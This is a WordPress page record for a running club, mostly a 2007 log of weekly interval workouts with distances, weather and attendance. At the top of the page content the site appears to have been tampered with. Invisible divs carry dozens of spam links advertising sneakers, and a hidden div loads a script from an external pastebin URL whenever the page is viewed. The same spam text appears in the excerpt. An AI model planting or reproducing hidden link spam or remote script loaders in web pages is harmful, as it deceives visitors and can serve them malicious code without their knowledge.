{"id":165,"date":"2010-05-01T11:27:47","date_gmt":"2010-05-01T18:27:47","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=165"},"modified":"2017-02-04T22:32:00","modified_gmt":"2017-02-05T06:32:00","slug":"2007-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=165","title":{"rendered":"2007"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/www.cumberbatched.com\/yeezy-boost-350-v2-white-sale.php\">yeezy boost 350 2017<\/a><a href=\"http:\/\/constructorus.ru\/yeezy-boost-350-v2-white.html\">yeezy boost 350 2017<\/a><a href=\"http:\/\/taiiwinsmienphi.com\/yeezy-boost-350-v2-white\/\">yeezy boost 350 black<\/a><a href=\"http:\/\/www.m7flashgames.com\/adidas-yeezy-boost-350-v2-white.html\">yeezy boost 350 white<\/a><a href=\"http:\/\/www.korenovsk.ru\/yeezy-boost-350-v2-white\/\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/kras-kvn.ru\/sale-yeezy-boost-350-v2-white.php\">yeezy boost 350 white<\/a><a href=\"http:\/\/www.taktamovie.com\/yeezy-boost-350-v2-white-online.html\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/www.zohur12.ir\/yeezy-boost-350-v2-By9612-online.php\">Adidas Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/www.cronicaweb.com\/yeezy-boost-350-v2-online.php\">adidas yeezy 350 boost v2 beluga<\/a><a href=\"http:\/\/my-gdz.su\/yeezy-350-v2\/\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/www.hemmat110.com\/cheap-yeezy-350\/\">yeezy boost 350 black<\/a><a href=\"http:\/\/www.mlsem.org\/yeezy-350-v2.html\">adidas yeezy boost 350<\/a><a href=\"http:\/\/shipinn-dorset.com\/yeezy-350-triple-white-for-sale\/\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/szaletliepites.hu\/shop-yeezy-boost-350-v2\/\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/das.sch.sa\/images\/yeezy-boost-350-sale.html\">yeezy boost 350 v2 white black<\/a><a href=\"http:\/\/apps.rcmrd.org\/yeezy-350-white-black\/\">yeezy boost 350 v2 white black<\/a><a href=\"http:\/\/www.bitfotos.com.br\/wp-content\/uploads\/yeezy-boost-350-v2-black-red.html\">yeezy boost 350 v2 black red buy<\/a><a href=\"http:\/\/www.fangoria.com\/350.html\">http:\/\/www.fangoria.com\/350.html<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/www.yeezy350v2s.us.com\">http:\/\/www.yeezy350v2s.us.com<\/a><a href=\"http:\/\/www.adidasyeezyboost350v2.us.com\">yeezy boost 350 v2 copper black<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>12\/31\/07 Mon &#8211; No workout &#8211; rest for New Years races.<br \/>\n12\/26\/07 Wed &#8211; none ran &#8211; too cold to move from the warm fireside<br \/>\n12\/24\/07 Mon &#8211; No workout &#8211; Merry Christmas<br \/>\n12\/19\/07 Wed &#8211; 1,600; 800; 1,200; 800; 1,600 = 3 3\/4 mi; lo 50&#8217;s, gusty; 4 ran<br \/>\n12\/17\/07 Mon &#8211; 6&#215;800 = 3 mi; lo 50&#8217;s; 3 ran<br \/>\nCool evenings &#8211; switch to longest intervals, slower pace, shorter recovery.<br \/>\n12\/12\/07 Wed &#8211; 2&#215;1,600; 1,200; 1,600 = 3-3\/4 mi; hi 50&#8217;s, calm; 5 ran<br \/>\n12\/10\/07 Mon &#8211; 2x(800; 600; 800) = 2-3\/4 mi; lo 60&#8217;s, calm; 4 ran<br \/>\n12\/05\/07 Wed &#8211; 1,600; 2&#215;1,200; 1,600 = 3-1\/2 mi; lo 60&#8217;s, calm; 4 ran<br \/>\n12\/03\/07 Mon &#8211; 1,200; 600; 800; 600; 1,200 = 2-3\/4 mi; lo 60&#8217;s, calm; 6 ran<br \/>\n11\/28\/07 Wed &#8211; 2x(1,600; 1,200) = 3 1\/2 mi; mid 50&#8217;s, calm; 4 ran<br \/>\n11\/26\/07 Mon &#8211; 1,200; 800; 2&#215;600; 800 = 2 1\/2 mi; lo 50&#8217;s, calm; 5 ran<br \/>\n11\/21\/07 Wed &#8211; No workout. Thanksgiving day races tomorrow<br \/>\n11\/19\/07 Mon &#8211; 800; 4&#215;600; 800 = 2 1\/2 mi; hi 50&#8217;s, calm; 5 ran<br \/>\n11\/14\/07 Wed &#8211; 1,600; 1,200; 800; 1,600 = 3 1\/4 mi; mid 60&#8217;s, calm; 7 ran<br \/>\n11\/12\/07 Mon &#8211; 5&#215;800 = 2 1\/2 mi; hi 60&#8217;s, calm; 6 ran<br \/>\n11\/07\/07 Wed &#8211; 1,200; 3&#215;800; 1,200 = 3 mi; lo 60&#8217;s, calm; 6 ran<br \/>\n11\/05\/07 Mon &#8211; 2&#215;600; 3&#215;400; 2&#215;600 = 2 1\/4 mi; lo 60&#8217;s, calm; 5 ran<br \/>\nbegin increasing mileage<br \/>\n10\/31\/07 Wed &#8211; 1,600; 2&#215;800; 1,600 = 3 mi; calm, mid 60&#8217;s; 8 ran<br \/>\n10\/29\/07 Mon &#8211; 4&#215;800 = 2 mi; calm, hi 60&#8217;s; 6 ran<br \/>\n10\/24\/07 Wed &#8211; 1,200; 1,600; 1,200; 800 = 3 mi; calm, mid 70&#8217;s; 8 ran<br \/>\n10\/22\/07 Mon &#8211; 2x(1,000; 600)= 2 mi; calm mid 70&#8217;s; 6 ran<br \/>\n10\/17\/07 Wed &#8211; 2&#215;800; 1,600; 2&#215;800 = 3 mi; lt wind, hi 60&#8217;s; 4 ran<br \/>\n10\/15\/07 Mon &#8211; Rain<br \/>\n10\/10\/07 Wed &#8211; 1,600; 2&#215;1,200; 800 = 3 mi; breeze, mid 60&#8217;s; 5 ran<br \/>\n10\/08\/07 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; breeze, hi 70&#8217;s; 5 ran<br \/>\n10\/03\/07 Wed &#8211; 3&#215;1,600 = 3 mi; lt wind, hi 60&#8217;s; 5 ran<br \/>\n10\/01\/07 Mon &#8211; 4&#215;800 = 2 mi; wind, lo 70&#8217;s; 5 ran<br \/>\n09\/26\/07 Wed &#8211; 4x 1,200 = 3 mi; lt wind, hi 70&#8217;s; 9 ran<br \/>\n09\/24\/07 Mon &#8211; 800; 400; 800; 400; 800 = 2 mi; wind, lo 70&#8217;s 9 ran<br \/>\n09\/19\/07 Wed &#8211; 2x(1,600; 800) = 3 mi; wind, hi 60&#8217;s; 5 ran<br \/>\n09\/17\/07 Mon &#8211; 2&#215;600; 800; 2&#215;600 = 2 mi; lt wind, lo 70&#8217;s; 8 ran<br \/>\nSwitch to longer intervals<br \/>\n09\/12\/07 Wed &#8211; 4x(800; 400) = 3 mi; lt wind, lo 70&#8217;s; 10 ran<br \/>\n09\/10\/07 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; wind, lo 70&#8217;s; 9 ran<br \/>\n09\/06\/07 Wed &#8211; 2&#215;600; 6&#215;400;2&#215;600 = 3 mi; wind, mid 70&#8217;s; 6 ran<br \/>\n09\/04\/07 Mon &#8211; 600; 4x(300;150); 2&#215;400 = 2 mi; hi 70&#8217;s; 10 ran<br \/>\n08\/29\/07 Wed &#8211; 4x(800; 400) = 3 mi; lo 80&#8217;s lt brz; 8 ran<br \/>\n08\/27\/07 Mon &#8211; 3x(400; 400; 200); 400 = 2 mi; mid 80&#8217;s, lt wind; 14 ran<br \/>\n08\/22\/07 Wed &#8211; 8&#215;600 = 3 mi; hi 70&#8217;s, lt wind; 8 ran<br \/>\n08\/15\/07 Wed &#8211; 2&#215;600; 2&#215;500; 2&#215;400; 2&#215;300; 2&#215;200; 2&#215;400 = 3 mi; lo 70&#8217;s, lt wind; 6 ran<br \/>\n08\/13\/07 Mon &#8211; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600 = 2 mi; lo 70&#8217;s wind; 8 ran<br \/>\n08\/08\/07 Wed &#8211; 2&#215;800; 6&#215;400; 800 = 3 mi; low 70&#8217;s wind; 6 ran<br \/>\n08\/06\/07 Mon &#8211; 800; 4x(300;150); 600 = 2 mi; mid 70&#8217;s wind; 8 ran<br \/>\n08\/01\/07 Wed &#8211; 8&#215;600 = 3 mi; mid 80&#8217;s; 8 ran<br \/>\n07\/30\/07 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;200; 2&#215;400 = 2 mi; mid 80&#8217;s; 11 ran<br \/>\n07\/25\/07 Wed &#8211; 4x(800; 400) = 3 mi; low 80&#8217;s lt wind; 7 ran<br \/>\n07\/23\/07 Mon &#8211; 800; 4x(300;150); 600 = 2 mi; low 80&#8217;s, lt wind; 9 ran<br \/>\n07\/18\/07 Wed &#8211; 12&#215;400 = 3 mi; lo 80&#8217;s, wind; 8 ran<br \/>\n07\/16\/07 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi lo 80&#8217;s; 6 ran<br \/>\nChange to short, fast intervals<br \/>\n07\/11\/07 Wed &#8211; 1,600; 2&#215;800; 1,600 = 3 mi; lo 80&#8217;s, lt wind; 7 ran<br \/>\n07\/09\/07 Mon &#8211; 2&#215;800; 2&#215;600; 400 = 2 mi; hi 70&#8217;s, lt wind; 4 ran<br \/>\n07\/04\/07 Wed &#8211; Gone racin&#8217;<br \/>\n07\/02\/07 Mon &#8211; Racin&#8217; speedplay; 4 ran<br \/>\n06\/27\/07 Wed &#8211; 1,600; 1,200; 1,200; 800 = 3 mi; lo 80&#8217;s; lt brz; 4 ran<br \/>\n06\/25\/07 Mon &#8211; 4&#215;800 = 2 mi; hi 70&#8217;d, lt brz; 6 ran<br \/>\n06\/20\/07 Wed &#8211; 3&#215;1,600 = 3 mi; lo 70&#8217;s, breeze; 4 ran<br \/>\n06\/18\/07 Mon &#8211; individual intervals; mid 70&#8217;s, breeze; 4 ran<br \/>\n06\/13\/07 Wed &#8211; 1,600; 400; 1,200; 400; 800; 400 = 3 mi; mid 80&#8217;s; 7 ran<br \/>\n06\/11\/07 Mon &#8211; 2&#215;600; 800; 2&#215;600 = 2 mi; lo 70&#8217;s lt wind; 5 ran<br \/>\n06\/06\/07 Wed &#8211; 2x(1,600; 800) = 3 mi; hi 60&#8217;s; 8 ran<br \/>\n06\/04\/07 Mon &#8211; 2&#215;800; 2&#215;600; 400 = 2 mi; mid 70&#8217;s lt brz; 7 ran<br \/>\n&#8212; End short distance speed focus, change to longer distances &#8212;<br \/>\n05\/30\/07 Wed &#8211; 4&#215;1,200 = 3 mi; lo 70&#8217;s, lt brz; 5 ran<br \/>\n05\/28\/07 Mon &#8211; 2x(800; 400); 800 = 2 mi; mid 70&#8217;s, lt brz; 7 ran<br \/>\n05\/23\/07 Wed &#8211; 1,600; 1,200; 1,200; 800 = 3 mi; lo 80&#8217;s, windy; 6 ran<br \/>\n05\/21\/07 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; mid 80&#8217;s windy; 9 ran<br \/>\n05\/16\/07 Wed &#8211; 3&#215;1,600 = 3 mi; lo 70&#8217;s, wind; 6 ran<br \/>\n05\/14\/07 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; hi 60&#8217;s, wind; 4 ran<br \/>\n05\/09\/07 Wed &#8211; 8&#215;600 = 3 mi; lo 80&#8217;s; 7 ran<br \/>\n05\/07\/07 Mon &#8211; 600; 400; 4x(300;150); 400 = 2 mi; mid 80&#8217;s; 10 ran<br \/>\n05\/02\/07 Wed &#8211; 6&#215;800 = 3 mi; mid 60&#8217;s, wind; 7 ran<br \/>\n04\/30\/07 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; mid 60&#8217;s, lt wind; 8 ran<br \/>\n04\/25\/07 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; hi 60&#8217;s, lt wind; 12 ran<br \/>\n04\/23\/07 Mon &#8211; 8&#215;400 = 2 mi; hi 60&#8217;s, wind; 12 ran<br \/>\n04\/18\/07 Wed &#8211; 4x(800; 400) = 3 mi; lo 60&#8217;s wind; 7 ran<br \/>\n04\/16\/07 Mon &#8211; 600; 600; 400; 300; 300; 400; 600 = 2 mi; lo 60&#8217;s, wind; 12 ran<br \/>\n04\/11\/07 Wed &#8211; 2&#215;800; 6&#215;400; 800 = 3 mi; lo 60&#8217;s, wind, 7 ran<br \/>\n04\/09\/07 Mon &#8211; 600; 400; 4x(300;150); 400 = 2 mi; hi 60&#8217;s, breeze; 8 ran<br \/>\n04\/04\/07 Wed &#8211; 12&#215;400 = 3 mi; mid 60&#8217;s; 2 ran<br \/>\n04\/02\/07 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; hi 60&#8217;s breeze; 8 ran<br \/>\n03\/28\/07 Wed &#8211; 4&#215;800; 4&#215;400 = 3 mi; hi 60&#8217;s; 7 ran<br \/>\n03\/26\/07 Mon &#8211; Rain<br \/>\n03\/21\/07 Wed &#8211; 8&#215;600 = 3 mi; mid 60&#8217;s; 5 ran<br \/>\n03\/19\/07 Mon &#8211; 8&#215;400 = 2 mi; mid 60&#8217;s lt brz; 11 ran<br \/>\n&#8212; Switch to speed\/strength focus &#8212;<br \/>\n03\/14\/07 Wed &#8211; 3&#215;1,600; 2&#215;800 = 4 mi; mid 70&#8217;s; 8 ran<br \/>\n03\/12\/07 Mon &#8211; 3&#215;800; 4&#215;600 = 3 mi; mid 70&#8217;s; 8 ran<br \/>\nSaturday evening &#8211; Daylight Saving begins<br \/>\n03\/07\/07 Wed &#8211; 1,600; 4&#215;1,200 = 4 mi; hi 50&#8217;s; 7 ran<br \/>\n03\/05\/07 Mon &#8211; 8&#215;600 = 3 mi; mid 60&#8217;s; 10 ran<br \/>\n02\/28\/07 Wed &#8211; 1,600; 2&#215;1,200; 2&#215;800; 2&#215;400 = 4 mi; hi 50&#8217;s; 8 ran<br \/>\n02\/26\/07 Mon &#8211; 2&#215;800; 600; 400; 600; 2&#215;800 = 3 mi; mid 50&#8217;s; 7 ran<br \/>\n02\/21\/07 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 50&#8217;s, breeze; 6 ran<br \/>\n02\/19\/07 Mon &#8211; 800; 600; 800; 400; 800; 600; 800 = 3 mi; hi 50&#8217;s, lt breeze; 9 ran<br \/>\n02\/14\/07 Wed &#8211; 4&#215;1,600 = 4 mi; lo 60&#8217;s; 7 ran<br \/>\n02\/12\/07 Mon &#8211; Rain &#8211; 3 toughies ran<br \/>\n02\/07\/07 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; mid 60&#8217;s; 9 ran<br \/>\n02\/05\/07 Mon &#8211; 800; 2&#215;600; 800; 2&#215;600; 800 = 3 mi; mid 60&#8217;s; 12 ran<br \/>\n01\/31\/07 Wed &#8211; 4&#215;1,600 = 4 mi; lo 60&#8217;s; 7 ran<br \/>\n01\/29\/07 Mon &#8211; 8&#215;600 = 3 mi; hi 50&#8217;s; 9 ran<br \/>\n01\/24\/07 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; mid 50&#8217;s, 8 ran<br \/>\n01\/22\/07 Mon &#8211; 4x(800; 400) = 3 mi; lo 50&#8217;s; 14 ran<br \/>\n01\/17\/07 Wed &#8211; 3x(1,200; 800) = 3 3\/4 mi; hi 40&#8217;s; 9 ran<br \/>\n01\/15\/07 Mon &#8211; 1,000; 400; 800; 400; 800; 400; 1,000 = 3 mi; lo 50&#8217;s; 10 ran<br \/>\n01\/10\/07 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; mid 50&#8217;s; 7 ran<br \/>\n01\/08\/07 Mon &#8211; 6&#215;800 = 3 mi; lo 60&#8217;s; 9 ran<br \/>\n01\/03\/07 Wed &#8211; 5&#215;1,200 = 3.75 mi; mid 60&#8217;s; 11 ran<br \/>\n01\/01\/07 Mon &#8211; New Year&#8217;s Day &#8211; no workout<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 2017yeezy boost 350 2017yeezy boost 350 blackyeezy boost 350 whiteyeezy boost 350 triple white for saleyeezy boost 350 whiteyeezy boost 350 triple white for saleAdidas Yeezy Boost 350 V2 Blackadidas yeezy 350 boost v2 belugayeezy boost 350 &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=165\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":47,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-165","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2F","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=165"}],"version-history":[{"count":39,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/165\/revisions"}],"predecessor-version":[{"id":1652,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/165\/revisions\/1652"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}